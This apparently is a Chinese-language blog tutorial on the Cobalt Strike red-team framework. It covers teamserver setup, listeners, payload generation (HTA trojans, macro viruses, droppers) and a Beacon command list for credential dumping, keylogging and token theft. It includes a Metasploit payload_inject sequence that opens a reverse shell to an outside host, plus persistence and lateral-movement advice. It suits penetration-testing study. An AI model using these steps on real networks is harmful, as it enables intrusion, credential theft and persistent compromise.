Cobalt Strike 簡單使用
我在最沒有能力的年紀,碰見了最想照顧一生的人。
概述:
- Cobalt Strike是一款內網滲透測試神器,一個服務端,多個客戶端,這樣最大好處就是可以團隊合作。Cobalt Strike集成了很多工具,如多模式監聽(dns.smb等)、多種代理轉發,自定義腳本以及生成各種版本木馬,各種病毒,各種payload,進行網站克隆,釣魚攻擊等等,更方便快速的獲取權限,進行權限維持,橫向攻擊等等。
啓動:
服務端:首先在vps進行搭建啓動 ./teamserver vpsip 密碼
客戶端:輸入vpsip 密碼,即可登陸
基本操作:
首先介紹監聽(listeners)模塊,
主要有9個不同服務的監聽,分兩個大塊beacon和foreign
Beacon主要就是給cs自己反彈shell的
Foreign主要是給外部msf、meterpreter反彈一個shell,以便於內網攻擊
內部就是生成payload,直接反彈即可。
cs結合msf互傳:
-
cs傳給msf
msf監聽
cs中添加forgein監聽,然後cs中spawn即可。
-
msf傳cs
利用payload_inject模塊,msf下
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 1.1.1.1
set lport 8888
set session 1
run
即可
各有各優點,dns隱祕性好、https加密通信、smb在內網使用(配合一臺主機作爲中轉器,配合無狀態木馬使用,向另外一臺無法訪問到的內網主機進行反彈shell。)等等。
監聽完即可生成payload去攻擊,cs提供很多payload
HTML Application 生成HTA木馬文件
MS Office Macro 生成office宏病毒文件
Payload Generator 生成各種語言版本的payload
USB/CD AutoPlay 生成利用自動播放運行的木馬文件
Windows Dropper 把木馬捆綁到文件上點擊即可反彈shell
Windows Executable 生成可執行exe、dll木馬
Windows Executable(S ) 生成可執行exe、dll木馬、powershell等
拿到shell就可以繼續搞,主要介紹以下幾個模塊
- Interact beacon命令行
shell +cmd命令
需要用到的命令直接help即可
Beacon Commands
===============
Command Description
------- -----------
argue 進程參數欺騙
blockdlls 在子進程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者瀏覽器進程
bypassuac 繞過UAC
cancel 取消正在進行的下載
cd 切換目錄
checkin 強制讓被控端回連一次
clear 清除beacon內部的任務隊列
connect 通過TCP連接到Beacon
covertvpn 部署Covert VPN客戶端
cp 複製文件
dcsync 從DC中提取密碼哈希
desktop 遠程VNC
dllinject 反射DLL注入進程
dllload 使用LoadLibrary將DLL加載到進程中
download 下載文件
downloads 列出正在進行的文件下載
drives 列出目標盤符
elevate 嘗試提權
execute 在目標上執行程序(無輸出)
execute-assembly 在目標上內存中執行本地.NET程序
exit 退出beacon
getprivs 對當前令牌啓用系統權限
getsystem 嘗試獲取SYSTEM權限
getuid 獲取用戶ID
hashdump 轉儲密碼哈希值
help 幫助
inject 在特定進程中生成會話
jobkill 殺死一個後臺任務
jobs 列出後臺任務
kerberos_ccache_use 從ccache文件中導入票據應用於此會話
kerberos_ticket_purge 清除當前會話的票據
kerberos_ticket_use 從ticket文件中導入票據應用於此會話
keylogger 鍵盤記錄
kill 結束進程
link 通過命名管道連接到Beacon
logonpasswords 使用mimikatz轉儲憑據和哈希值
ls 列出文件
make_token 創建令牌以傳遞憑據
mimikatz 運行mimikatz
mkdir 創建一個目錄
mode dns 使用DNS A作爲通信通道(僅限DNS beacon)
mode dns-txt 使用DNS TXT作爲通信通道(僅限D beacon)
mode dns6 使用DNS AAAA作爲通信通道(僅限DNS beacon)
mode http 使用HTTP作爲通信通道
mv 移動文件
net net命令
note 給當前目標機器備註
portscan 進行端口掃描
powerpick 通過Unmanaged PowerShell執行命令
powershell 通過powershell.exe執行命令
powershell-import 導入powershell腳本
ppid 爲生成的post-ex任務設置父PID
ps 顯示進程列表
psexec 使用服務在主機上生成會話
psexec_psh 使用PowerShell在主機上生成會話
psinject 在特定進程中執行PowerShell命令
pth 使用Mimikatz進行傳遞哈希
pwd 當前目錄位置
reg 查詢註冊表
rev2self 恢復原始令牌
rm 刪除文件或文件夾
rportfwd 端口轉發
run 在目標上執行程序(返回輸出)
runas 以另一個用戶權限執行程序
runasadmin 在高權限下執行程序
runu 在另一個PID下執行程序
screenshot 屏幕截圖
setenv 設置環境變量
shell cmd執行命令
shinject 將shellcode注入進程
shspawn 生成進程並將shellcode注入其中
sleep 設置睡眠延遲時間
socks 啓動SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一個會話
spawnas 以其他用戶身份生成會話
spawnto 將可執行程序注入進程
spawnu 在另一個PID下生成會話
ssh 使用ssh連接遠程主機
ssh-key 使用密鑰連接遠程主機
steal_token 從進程中竊取令牌
timestomp 將一個文件時間戳應用到另一個文件
unlink 斷開與Beacon的連接
upload 上傳文件
wdigest 使用mimikatz轉儲明文憑據
winrm 使用WinRM在主機上生成會話
wmi 使用WMI在主機上生成會話
-
Access
dump hashes 獲取hash即可碰撞md5
Elevate 一鍵提權(內置很多,可上傳如CVE-2019-0803、或beacon利用Powershell提權等)
Golden Ticket 生成黃金票據注入當前會話
MAke token 憑證轉換
Run Mimikatz =beacon(logonpasswords)抓取windows明文密碼
Spawn As 分享給隊友 -
Explore
Browser Pivot 劫持瀏覽器進行代理
Desktop(VNC) 開啓桌面交互
File Browser 文件管理上傳等等
Net View 查詢信息
Port scan 端口掃描(ARP,ICMP等掃描)
Process list 查看進程(可以注入進行獲取新shell、監聽鍵盤等)
Screenshot 截圖 -
Pivoting
SOCKS Server 開啓SOCKS 代理服務
Listener 反向端口轉發
Deploy VPN 部署VPN -
Spawn 新的通訊模式並生成會話
-
Session 會話管理,刪除,心跳時間,退出,備註
拿到權限後,權限維持很重要,比如常見的註冊表、設置啓動項、計劃任務、設置服務、dll劫持等
進而進行橫向移動,橫掃內網,比如掃描其他主機端口、弱口令、中間件漏洞等等,也可以利用psexec選擇憑證進行攻擊或者進程中steal token 竊取,或者可以上傳插件利用其他漏洞如最常見ms08-067、ms17010、以及IE雙殺漏洞等等餘生很長,請多指教。